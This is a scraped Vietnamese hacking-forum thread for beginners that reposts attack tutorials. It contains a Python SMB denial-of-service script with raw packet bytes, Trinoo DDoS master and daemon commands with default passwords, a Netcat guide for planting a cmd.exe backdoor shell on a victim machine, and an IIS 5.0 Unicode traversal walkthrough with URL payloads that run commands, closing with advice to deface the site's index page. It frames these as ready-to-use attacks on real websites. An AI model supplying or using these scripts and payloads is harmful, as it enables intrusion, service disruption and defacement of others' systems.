45 46 46 43 46 47 45 46 46 43 43 41 43 41 43 41 43 41 43 41 43 41 00 20 45 48 45 42 46 45 45 46 45 4c 45 46 45 46 46 41 45 46 46 43 43 41 43 41 43 41 43 41 43 41 41 41 00 00 00 00 00 ``````) # Tạo SMB crud = ( # Yêu cầu SMBnegprot `````` ff 53 4d 42 72 00 00 00 00 08 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f4 01 00 00 01 00 00 81 00 02 50 43 20 4e 45 54 57 4f 52 4b 20 50 52 4f 47 52 41 4d 20 31 2e 30 00 02 4d 49 43 52 4f 53 4f 46 54 20 4e 45 54 57 4f 52 4b 53 20 31 2e 30 33 00 02 4d 49 43 52 4f 53 4f 46 54 20 4e 45 54 57 4f 52 4b 53 20 33 2e 30 00 02 4c 41 4e 4d 41 4e 31 2e 30 00 02 4c 4d 31 2e 32 58 30 30 32 00 02 53 61 6d 62 61 00 02 4e 54 20 4c 41 4e 4d 41 4e 20 31 2e 30 00 02 4e 54 20 4c 4d 20 30 2e 31 32 00 ``````, # Yêu cầu setup SMB X `````` ff 53 4d 42 73 00 00 00 00 08 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f4 01 00 00 01 00 0d ff 00 00 00 ff ff 02 00 f4 01 00 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 17 00 00 00 57 4f 52 4b 47 52 4f 55 50 00 55 6e 69 78 00 53 61 6d 62 61 00 ``````, # Yêu cầu SMBtconX `````` ff 53 4d 42 75 00 00 00 00 08 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f4 01 00 08 01 00 04 ff 00 00 00 00 00 01 00 17 00 00 5c 5c 2a 53 4d 42 53 45 52 56 45 52 5c 49 50 43 24 00 49 50 43 00 ``````, # Yêu cầu khởI tạo SMBnt X `````` ff 53 4d 42 a2 00 00 00 00 08 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f4 01 00 08 01 00 18 ff 00 00 00 00 07 00 06 00 00 00 00 00 00 00 9f 01 02 00 00 00 00 00 00 00 00 00 00 00 00 00 03 00 00 00 01 00 00 00 00 00 00 00 02 00 00 00 00 08 00 5c 73 72 76 73 76 63 00 ``````, # yêu cầu biên dịch SMB `````` ff 53 4d 42 25 00 00 00 00 08 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f4 01 00 08 01 00 10 00 00 48 00 00 00 48 00 00 00 00 00 00 00 00 00 00 00 00 00 4c 00 48 00 4c 00 02 00 26 00 00 08 51 00 5c 50 49 50 45 5c 00 00 00 05 00 0b 00 10 00 00 00 48 00 00 00 01 00 00 00 30 16 30 16 00 00 00 00 01 00 00 00 00 00 01 00 c8 4f 32 4b 70 16 d3 01 12 78 5a 47 bf 6e e1 88 03 00 00 00 04 5d 88 8a eb 1c c9 11 9f e8 08 00 2b 10 48 60 02 00 00 00 ``````, # SMBtrans Request `````` ff 53 4d 42 25 00 00 00 00 08 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f4 01 00 08 01 00 10 00 00 58 00 00 00 58 00 00 00 00 00 00 00 00 00 00 00 00 00 4c 00 58 00 4c 00 02 00 26 00 00 08 61 00 5c 50 49 50 45 5c 00 00 00 05 00 00 03 10 00 00 00 58 00 00 00 02 00 00 00 48 00 00 00 00 00 0f 00 01 00 00 00 0d 00 00 00 00 00 00 00 0d 00 00 00 5c 00 5c 00 2a 00 53 00 4d 00 42 00 53 00 45 00 52 00 56 00 45 00 52 00 00 00 00 00 01 00 00 00 01 00 00 00 00 00 00 00 ff ff ff ff 00 00 00 00 `````` ) crud = map(a2b, crud) def smb_send(sock, data, type=0, flags=0): d = struct.pack(`!BBH`, type, flags, len(data)) #print `send:`, b2a(d+data) sock.send(d+data) def smb_recv(sock): s = sock.recv(4) assert(len(s) == 4) type, flags, length = struct.unpack(`!BBH`, s) data = sock.recv(length) assert(len(data) == length) #print `recv:`, b2a(s+data) return type, flags, data def nbss_send(sock, data): sock.send(data) def nbss_recv(sock): s = sock.recv(4) assert(len(s) == 4) return s def main(host, port=139): s = socket(AF_INET, SOCK_STREAM) s.connect(host, port) nbss_send(s, nbss_session) nbss_recv(s) for msg in crud[:-1]: smb_send(s, msg) smb_recv(s) smb_send(s, crud[-1]) # no response to this s.close() if __name__ == `__main__`: print `Sending poison...`, main(sys.argv[1]) print `done.` Để có thể làm down được server của đối phương bạn cần phải có thời gian DoS , nếu không có điều kiện chờ đợi tốt nhất bạn không nên sử dụng cách này . Nhưng “vọc” thử cho biết thì được đúng không ? 41 . ) Tấn công DDoS thông qua Trinoo : _ Bạn đã biết DDoS attack là gì rồi phải không ? Một cuộc tấn công DDoS bằng Trinoo được thực hiện bởi một kết nối của Hacker Trinoo Master và chỉ dẫn cho Master để phát động một cuộc tấn công DDoS đến một hay nhiều mục tiêu. Trinoo Master sẽ liên lạc với những Deadmons đưa những địa chỉ được dẫn đến để tấn công một hay nhiều mục tiêu trong khoảng thời gian xác định . _ Cả Master và Deamon đều được bảo vệ bằng Passwd . chỉ khi chúng ta biết passwd thì mới có thể điều khiển được chúng , điều này không có gì khó khăn nếu chúng ta là chủ nhân thực sự của chúng . Những passwd này thường được mã hoá và bạn có thể thiết lập khi biên dịch Trinoo từ Source ----- > Binnary. Khi được chạy , Deadmons sẽ hiện ra một dấu nhắc và chờ passwd nhập vào , nếu passwd nhập sai nó sẽ tự động thoát còn nếu passwd được nhập đúng thì nó sẽ tự động chạy trên nền của hệ thống . attacker$ telnet 10.0.0.1 27665 Trying 10.0.0.1 Connected to 10.0.0.1 Escape character is `^]`. kwijibo Connection closed by foreign host. < == Bạn đã nhập sai attacker$ telnet 10.0.0.1 27665 Trying 10.0.0.1 Connected to 10.0.0.1 Escape character is `^]`. betaalmostdone trinoo v1.07d2+f3+c..[rpm8d/cb4Sx/] trinoo > < == bạn đã vào được hệ thống trinoo _ Đây là vài passwd mặc định : “l44adsl``: pass của trinoo daemon . ``gorave``: passwd của trinoo master server khi startup . ``betaalmostdone``: passwd điều khiển từ xa chung cho trinoo master . ``killme``: passwd trinoo master điều khiển lệnh ``mdie`` . _ Đây là một số lệnh dùng để điều khiển Master Server: CODE die------------------------------------------------ ------------Shutdown. quit----------------------------------------------- -------------Log off. mtimer N-------------------------------------------------- --Đặt thờI gian để tấn công DoS , vớI N nhận giá trị từ 1-- > 1999 giây . dos IP------------------------------------------------- ------Tấn công đến một địa chỉ IP xác định . mdie pass----------------------------------------------- ----Vô hiệu hoá tất cả các Broadcast , nếu như passwd chính xác . Một lệnh đưọc gửi tới (``d1e l44adsl``) Broadcast để Shutdown chúng . Một passwd riêng biệt sẽ được đặt cho mục này mping---------------------------------------------- ----------Gửi một lệnh ping tới (``png l44adsl``) c¸c Broadcast. mdos ------------------------------------------Send nhiều lênh DOS (``xyz l44adsl 123:ip1:ip2``) đến các Broadcast. info----------------------------------------------- --------------Hiển thị thông tin về Trinoo . msize---------------------------------------------- ------------Đặt kích thước đệm cho những gói tin được send đi trong suốt thờI gian DoS. nslookup host----------------------------------------------X ác định tên thiết bị của Host mà Master Trinoo đang chạy . usebackup------------------------------------------ ---------Chuyển tớI các file Broadcast sao lưu được tạo bởi lệnh “killdead”. bcast---------------------------------------------- -------------Liệt kê danh sách tất cả các Broadcast có thể khai thác . help [cmd] --------------------------------------------------- Đưa ra danh sách các lệnh . mstop---------------------------------------------- -------------Ngừng lại các cuốc tấn công DOS . _ Đây là một số lệnh dùng để điều khiển Trinoo Deadmons: CODE aaa pass IP------------------------------------------------- ---Tấn công đến địa chỉ IP đã xác định . GửI gói tin UDP (0-65534) đến cổng của UDP của địa chỉ IP đã xác định trong một khoảng thời gian xác định được mặc định là 120s hay từ 1-- > 1999 s . bbb pass N-------------------------------------------------- ---Đặt thờI gian giới hạn cho các cuộc tấn công DOS . Shi pass----------------------------------------------- ---------Gửi chuỗi “*HELLO*” tới dánh sách Master Server đã được biên dịch trong chương trình trên cổng 31335/UDP. png pass----------------------------------------------- --------Send chuỗi “Pong” tớI Master Server phát hành các lệnh điều khiển trên cổng 31335/UDP. die pass----------------------------------------------- ---------Shutdown Trinoo. rsz N-------------------------------------------------- ----------Là kích thước của bộ đệm được dùng để tấn công , nó được tính bằng byte . xyz pass 123:ip1:ip3---------------------------------------- tấn công DOS nhiều mục tiêu cùng lúc . ( Dựa theo hướng dẫn của huynh Binhnx2000 ) Còn nhiều đoạn mã và cách ứng dụng để DoS lắm , các bạn chịu khó tìm hiểu thêm nhé . Nhưng đừng tấn công lung tung , nhất là server của HVA , coi chừng không thu được hiệu quả mà còn bị lock nick nữa đó Hết phần 6 - Anhdenday Tôn trọng quyền tác giả mặc dù khi mình post đến đây không biết thực sự là tác giả Anhdenday có thực sự viết ra những bài này hay không hay là đi sưu tầm. Nhưng với những nỗ lực để share cho mọi người như vậy quả thật là ... ]]> /hvaonline/posts/list/391.html#18424 /hvaonline/posts/list/391.html#18424 GMT Hacking cơ bản, Dành cho newbie - ST http://www.freedomshell.com/ http://www.cyberspace.org/shell.ht ml http://www.ultrashell.net/ Công cụ thứ 3 : NMAP là Công cụ quét cực nhanh và mạnh. Có thể quét trên mạng diện rộng và đặc biệt tốt đối với mạng đơn lẻ. NMAP giúp bạn xem những dịch vụ nào đang chạy trên server (services / ports : webserver , ftpserver , pop3,...),server đang dùng hệ điều hành gì,loại tường lửa mà server sử dụng,...và rất nhiều tính năng khác.Nói chung NMAP hỗ trợ hầu hết các kỹ thuật quét như : ICMP (ping aweep),IP protocol , Null scan , TCP SYN (half open),... NMAP được đánh giá là công cụ hàng đầu của các Hacker cũng như các nhà quản trị mạng trên thế giới. Mọi thông tin về NMAP bạn tham khảo tại http://www.insecure.org/ . Công cụ thứ 4 : Stealth HTTP Security Scanner là công cụ quét lỗi bảo mật tuyệt vời trên Win32. Nó có thể quét được hơn 13000 lỗi bảo mật và nhận diện được 5000 exploits khác. Công cụ thứ 5 : IntelliTamper là công cụ hiển thị cấu trúc của một Website gồm những thư mục và file nào, nó có thể liệt kê được cả thư mục và file có set password. Rất tiện cho việc Hack Website vì trước khi bạn Hack một Website thì bạn phải nắm một số thông tin của Admin và Website đó. Công cụ thứ 6 : Netcat là công cụ đọc và ghi dữ liệu qua mạng thông qua giao thức TCP hoặc UDP. Bạn có thể dùng Netcat 1 cách trực tiếp hoặc sử dụng chương trình script khác để điều khiển Netcat. Netcat được coi như 1 exploitation tool do nó có thể tạo được liên kết giữa bạn và server cho việc đọc và ghi dữ liệu ( tất nhiên là khi Netcat đã được cài trên 1 server bị lỗI ). Mọi thông tin về Netcat bạn có thể tham khảo tại http://www.l0pht.com/ . Công cụ thứ 7 : Active Perl là công cụ đọc các file Perl đuôi *.pl vì các exploit thường được viết bằng Perl . Nó còn được sử dụng để thi hành các lệnh thông qua các file *.pl . Công cụ thứ 8 : Linux là hệ điều hành hầu hết các hacker đều sử dụng. Công cụ thứ 9 : L0phtCrack là công cụ số một để Crack Password của Windows NT/2000 . Cách Download tôi đã bày rồi nên không nói ở đây , các bạn khi Download nhớ chú ý đến các phiên bản của chúng , phiên bản nào có số lớn nhất thì các bạn hãy Down về mà sài vì nó sẽ có thêm một số tính năng mà các phiên bản trước chưa có . Nếu down về mà các bạn không biết sử dụng thì tìm lại các bài viết cũ có hướng dẫn bên Box “Đồ nghề” . Nếu vẫn không thấy thì cứ post bài hỏi , các bạn bên đó sẽ trả lời cho bạn . 48.) Hướng dẫn sử dụng Netcat : a . ) Giới thiệu : Netcat là một công cụ không thể thiếu được nếu bạn muốn hack một website nào đó vì nó rất mạnh và tiện dụng . Do đó bạn cần biết một chút về Netcat . b . ) Biên dịch : _ Đối với bản Netcat cho Linux, bạn phải biên dịch nó trước khi sử dụng. - hiệu chỉnh file netcat.c bằng vi: vi netcat.c + tìm dòng res_init(); trong main() và thêm vào trước 2 dấu ``/``: // res_init(); + thêm 2 dòng sau vào phần #define (nằm ở đầu file): #define GAPING_SECURITY_HOLE #define TELNET - biên dịch: make linux - chạy thử: ./nc -h - nếu bạn muốn chạy Netcat bằng nc thay cho ./nc, bạn chỉ cần hiệu chỉnh lại biến môi trường PATH trong file ~/.bashrc, thêm vào ``:.`` PATH=/sbin:/usr/sbin:...:. _ Bản Netcat cho Win không cần phải compile vì đã có sẵn file nhị phân nc.exe. Chỉ vậy giải nén và chạy là xong. c . ) Các tùy chọn của Netcat : _ Netcat chạy ở chế độ dòng lệnh. Bạn chạy nc -h để biết các tham số: CODE C:\ > nc -h connect to somewhere: nc [-options] hostname port [ports] ... listen for inbound: nc -l -p port [options] [hostname] [port] options: -d ----------- tách Netcat khỏi cửa sổ lệnh hay là console, Netcat sẽ chạy ở chế độ steath(không hiển thị trên thanh Taskbar) -e prog --- thi hành chương trình prog, thường dùng trong chế độ lắng nghe -h ----------- gọi hướng dẫn -i secs ----- trì hoãn secs mili giây trước khi gởi một dòng dữ liệu đi -l ------------- đặt Netcat vào chế độ lắng nghe để chờ các kết nối đến -L ------------ buộc Netcat ``cố`` lắng nghe. Nó sẽ lắng nghe trở lại sau mỗi khi ngắt một kết nối. -n ------------ chỉ dùng địa chỉ IP ở dạng số, chẳng hạn như 192.168.16.7, Netcat sẽ không thẩm vấn DNS -o ------------ file ghi nhật kí vào file -p port ----- chỉ định cổng port -r yêu cầu Netcat chọn cổng ngẫu nhiên(random) -s addr ----- giả mạo địa chỉ IP nguồn là addr -t ------------- không gởi các thông tin phụ đi trong một phiên telnet. Khi bạn telnet đến một telnet daemon(telnetd), telnetd thường yêu cầu trình telnet client của bạn gởi đến các thông tin phụ như biến môi trường TERM, USER. Nếu bạn sử dụng netcat với tùy chọn -t để telnet, netcat sẽ không gởi các thông tin này đến telnetd. -u ------------- dùng UDP(mặc định netcat dùng TCP) -v ------------- hiển thị chi tiết các thông tin về kết nối hiện tại. -vv ----------- sẽ hiển thị thông tin chi tiết hơn nữa. -w secs ---- đặt thời gian timeout cho mỗi kết nối là secs mili giây -z ------------- chế độ zero I/O, thường được sử dụng khi scan port Netcat hổ trợ phạm vi cho số hiệu cổng. Cú pháp là cổng1-cổng2. Ví dụ: 1-8080 nghĩa là 1,2,3,..,8080 d . ) Tìm hiểu Netcat qua các VD : _ Chộp banner của web server : Ví dụ: nc đến 172.16.84.2, cổng 80 CODE C:\ > nc 172.16.84.2 80 HEAD / HTTP/1.0 (tại đây bạn gõ Enter 2 lần) HTTP/1.1 200 OK Date: Sat, 05 Feb 2000 20:51:37 GMT Server: Apache-AdvancedExtranetServer/1.3.19 (Linux-Mandrake/3mdk) mod_ssl/2.8.2 OpenSSL/0.9.6 PHP/4.0.4pl1 Connection: close Content-Type: text/html Để biết thông tin chi tiết về kết nối, bạn có thể dùng –v ( -vv sẽ cho biết các thông tin chi tiết hơn nữa) C:\ > nc -vv 172.16.84.1 80 CODE 172.16.84.1: inverse host lookup failed: h_errno 11004: NO_DATA (UNKNOWN) [172.16.84.1] 80 (?) open HEAD / HTTP/1.0 HTTP/1.1 200 OK Date: Fri, 04 Feb 2000 14:46:43 GMT Server: Apache/1.3.20 (Win32) Last-Modified: Thu, 03 Feb 2000 20:54:02 GMT ETag: ``0-cec-3899eaea`` Accept-Ranges: bytes Content-Length: 3308 Connection: close Content-Type: text/html sent 17, rcvd 245: NOTSOCK Nếu muốn ghi nhật kí, hãy dùng -o . Ví dụ: nc -vv -o nhat_ki.log 172.16.84.2 80 xem file nhat_ki.log xem thử nó đã ghi những gì nhé : CODE < 00000000 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d # HTTP/1.1 200 OK. < 00000010 0a 44 61 74 65 3a 20 46 72 69 2c 20 30 34 20 46 # .Date: Fri, 04 F < 00000020 65 62 20 32 30 30 30 20 31 34 3a 35 30 3a 35 34 # eb 2000 14:50:54 < 00000030 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 # GMT..Server: Ap < 00000040 61 63 68 65 2f 31 2e 33 2e 32 30 20 28 57 69 6e # ache/1.3.20 (Win < 00000050 33 32 29 0d 0a 4c 61 73 74 2d 4d 6f 64 69 66 69 # 32)..Last-Modifi < 00000060 65 64 3a 20 54 68 75 2c 20 30 33 20 46 65 62 20 # ed: Thu, 03 Feb < 00000070 32 30 30 30 20 32 30 3a 35 34 3a 30 32 20 47 4d # 2000 20:54:02 GM < 00000080 54 0d 0a 45 54 61 67 3a 20 22 30 2d 63 65 63 2d # T..ETag: ``0-cec- < 00000090 33 38 39 39 65 61 65 61 22 0d 0a 41 63 63 65 70 # 3899eaea``..Accep < 000000a0 74 2d 52 61 6e 67 65 73 3a 20 62 79 74 65 73 0d # t-Ranges: bytes. < 000000b0 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a # .Content-Length: < 000000c0 20 33 33 30 38 0d 0a 43 6f 6e 6e 65 63 74 69 6f # 3308..Connectio < 000000d0 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e # n: close..Conten < 000000e0 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d # t-Type: text/htm < 000000f0 6c 0d 0a 0d 0a # l.... dấu < nghĩa là server gởi đến netcat dấu > nghĩa là netcat gởi đến server _ Quét cổng : Bạn hãy chạy netcat với tùy chọn –z . Nhưng để quét cổng nhanh hơn, bạn hãy dùng -n vì netcat sẽ không cần thấm vấn DNS. Ví dụ để scan các cổng TCP(1- > 500) của host 172.16.106.1 CODE [dt@vicki /]# nc -nvv -z 172.16.106.1 1-500 (UNKNOWN) [172.16.106.1] 443 (?) open (UNKNOWN) [172.16.106.1] 139 (?) open (UNKNOWN) [172.16.106.1] 111 (?) open (UNKNOWN) [172.16.106.1] 80 (?) open (UNKNOWN) [172.16.106.1] 23 (?) open nếu bạn cần scan các cổng UDP, dùng -u CODE [dt@vicki /]# nc -u -nvv -z 172.16.106.1 1-500 (UNKNOWN) [172.16.106.1] 1025 (?) open (UNKNOWN) [172.16.106.1] 1024 (?) open (UNKNOWN) [172.16.106.1] 138 (?) open (UNKNOWN) [172.16.106.1] 137 (?) open (UNKNOWN) [172.16.106.1] 123 (?) open (UNKNOWN) [172.16.106.1] 111 (?) open _ Biến Netcat thành một trojan : Trên máy tính của nạn nhân, bạn khởi động netcat vào chế độ lắng nghe, dùng tùy chọn –l ( listen ) và -p port để xác định số hiệu cổng cần lắng nghe, -e để yêu cầu netcat thi hành 1 chương trình khi có 1 kết nối đến, thường là shell lệnh cmd.exe ( đối với NT) hoặc /bin/sh(đối với Unix). Ví dụ: CODE E:\ > nc -nvv -l -p 8080 -e cmd.exe listening on [any] 8080 ... connect to [172.16.84.1] from (UNKNOWN) [172.16.84.1] 3159 sent 0, rcvd 0: unknown socket error Trên máy tính dùng để tấn công, bạn chỉ việc dùng netcat nối đến máy nạn nhân trên cổng đã định, chẳng hạn như 8080 CODE C:\ > nc -nvv 172.16.84.2 8080 (UNKNOWN) [172.16.84.2] 8080 (?) open Microsoft Windows 2000 [Version 5.00.2195] © Copyright 1985-1999 Microsoft Corp. E:\ > cd test cd test E:\test > dir /w dir /w Volume in drive E has no label. Volume Serial Number is B465-452F Directory of E:\test [.] [..] head.log NETUSERS.EXE NetView.exe ntcrash.zip password.txt pwdump.exe 6 File(s) 262,499 bytes 2 Dir(s) 191,488,000 bytes free C:\test > exit exit sent 20, rcvd 450: NOTSOCK Như các bạn đã thấy , ta có thể làm những gì trên máy của nạn nhân rồi , chỉ cần một số lệnh cơ bản , ta đã chiếm được máy tính của đối phương , các bạn hãy xem tiếp nhé : CODE E:\ > nc -nvv -L -p 8080 -e cmd.exe listening on [any] 8080 ...? ? Riêng đối với Netcat cho Win, bạn có thể lắng nghe ngay trên cổng đang lắng nghe. Chỉ cần chỉ định địa chỉ nguồn là -s<địa_chỉ_ip_của_máy_này > . Ví dụ: CODE netstat -a ... TCP nan_nhan:domain nan_nhan:0 LISTENING <- cổng 53 đang lắng nghe ... E:\ > nc -nvv -L -e cmd.exe -s 172.16.84.1 -p 53 - > lắng nghe ngay trên cổng 53 listening on [172.16.84.1] 53 ... connect to [172.16.84.1] from (UNKNOWN) [172.16.84.1] 3163? ? Trên Windows NT, để đặt Netcat ở chế độ lắng nghe, không cần phải có quyền Administrator, chỉ cần login vào với 1 username bình thường khởi động Netcat là xong. Chú ý: bạn không thể chạy netcat với ... -u -e cmd.exe... hoặc ...-u -e /bin/sh... vì netcat sẽ không làm việc đúng. Nếu bạn muốn có một UDP shell trên Unix, hãy dùng udpshell thay cho netcat. ( Dựa theo bài viết của huynh Vicky ) 49.) Kỹ thuật hack IIS server 5.0 : _ IIS server với các phiên bản từ trước đến phiên bản 5.0 đều có lỗi để ta có thể khai thác , do bây giờ hầu hết mọi người đều dùng IIS server 5.0 nên lỗi ở các phiên bản trước tôi không đề cập đến . Bây giờ tôi sẽ bày các bạn cách hack thông qua công cụ activeperl và IE , các bạn có thể vận dụng cho các trang Web ở VN vì chúng bị lỗi này rất nhiều . Ta hãy bắt đầu nhé . _ Trước hết các bạn hãy download activeperl và Unicode.pl . _ Sử dụng telnet để xác định trang Web ta tấn công có sử dụng IIS server 5.0 hay không : CODE telnet < tên trang Web > 80 GET HEAD / HTTP/1.0 Nếu nó không báo cho ta biết mục tiêu đang sử dụng chương trình gì thì các bạn hãy thay đổi cổng 80 bằng các cổng khác như 8080, 81, 8000, 8001 .v.v… _ Sau khi đã xác định được mục tiêu các bạn vào DOS gõ : CODE perl unicode.pl Host: ( gõ địa chỉ server mà các bạn muốn hack ) Port: 80 ( hoặc 8080, 81, 8000, 8001 tuỳ theo cổng mà ta đã telnet trước đó ) . _ Các bạn sẽ thấy bảng liệt kê lỗi ( đã được lập trình trong Unicode.pl ) như sau : CODE [1] /scripts/..%c0%af../winnt/system32/cmd.exe?/c+ [2]/scripts..%c1%9c../winnt/system32/cmd.exe?/c+ [3] /scripts/..%c1%pc../winnt/system32/cmd.exe?/c+ [4]/scripts/..%c0%9v../winnt/system32/cmd.exe?/c+ [5] /scripts/..%c0%qf../winnt/system32/cmd.exe?/c+ [6] /scripts/..%c1%8s../winnt/system32/cmd.exe?/c+ [7] /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+ [8] /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+ [9] /scripts/..%c1%af../winnt/system32/cmd.exe?/c+ [10] /scripts/..%e0%80%af../winnt/system32/cmd.exe?/c+ [11]/scripts/..%f0%80%80%af../winnt/system32/cmd.ex e?/c+ [12] /scripts/..%f8%80%80%80%af../winnt/system32/cmd.exe ?/c+ [13]/scripts/..%fc%80%80%80%80%af../winnt/system32/ cmd.exe?/c+ [14]/msadc/..\%e0\%80\%af../..\%e0\%80\%af../..\%e0 \%80\%af../winnt/system32/cmd.exe?/c+ [15]/cgi-bin/..%c0%af..%c0%af..%c0%af..%c0%af..%c0% af../winnt/system32/cmd.exe?/c+ [16]/samples/..%c0%af..%c0%af..%c0%af..%c0%af..%c0% af../winnt/system32/cmd.exe?/c+ [17]/iisadmpwd/..%c0%af..%c0%af..%c0%af..%c0%af..%c 0%af../winnt/system32/cmd.exe?/c+ [18]/_vti_cnf/..%c0%af..%c0%af..%c0%af..%c0%af..%c0 %af../winnt/system32/cmd.exe?/c+ [19]/_vti_bin/..%c0%af..%c0%af..%c0%af..%c0%af..%c0 %af../winnt/system32/cmd.exe?/c+ [20]/adsamples/..%c0%af..%c0%af..%c0%af..%c0%af..%c 0%af../winnt/system32/cmd.exe?/c+ Các bạn sẽ thấy được tất cả các lỗi trên nếu trang Web nạn nhân bị tất cả những lỗi như vậy , nếu server của nạn nhân chỉ bị lỗi thứ 13 và 17 thì bảng kết quả chỉ xuất hiện dòng thứ 13 và 17 mà thôi . Tôi lấy VD là bảng kết quả cho tôi biết trang Web nạn nhân bị lỗi thứ 3 và 7 , tôi sẽ ra IE và nhập đoạn mã tương ứng trên Address : http://www.xxx.com/scripts/..%c1%p c../winnt/system32/cmd.exe?/c+ < == lỗi dòng thứ 3 hoặc http://www.xxx.com/scripts/..%c1%1 c../winnt/system32/cmd.exe?/c+ < == lỗi dòng thứ 7 Đến đây các bạn đã có thể xâm nhập vào server của nạn nhân rồi đó , các bạn hãy sử dụng lệnh trong DOS mà khai thác thông tin trong này . Thông thường các trang Web nằm ở thư mục vinetpub\wwwroot , các bạn vào được rồI thì chỉ cần thay index.html vớI tên hack by …. Là được rồi , đừng quậy họ nhé . GOOKLUCK!!!!!!!!!!!!!!! ( Hết phần 8 ) Anhdenday HVAonline Xin mạn phép post luôn một mạch rùi di ngủ, cho moi người tiện theo dõi nhé]]> /hvaonline/posts/list/391.html#18425 /hvaonline/posts/list/391.html#18425 GMT Hacking cơ bản, Dành cho newbie - ST /hvaonline/posts/list/391.html#18427 /hvaonline/posts/list/391.html#18427 GMT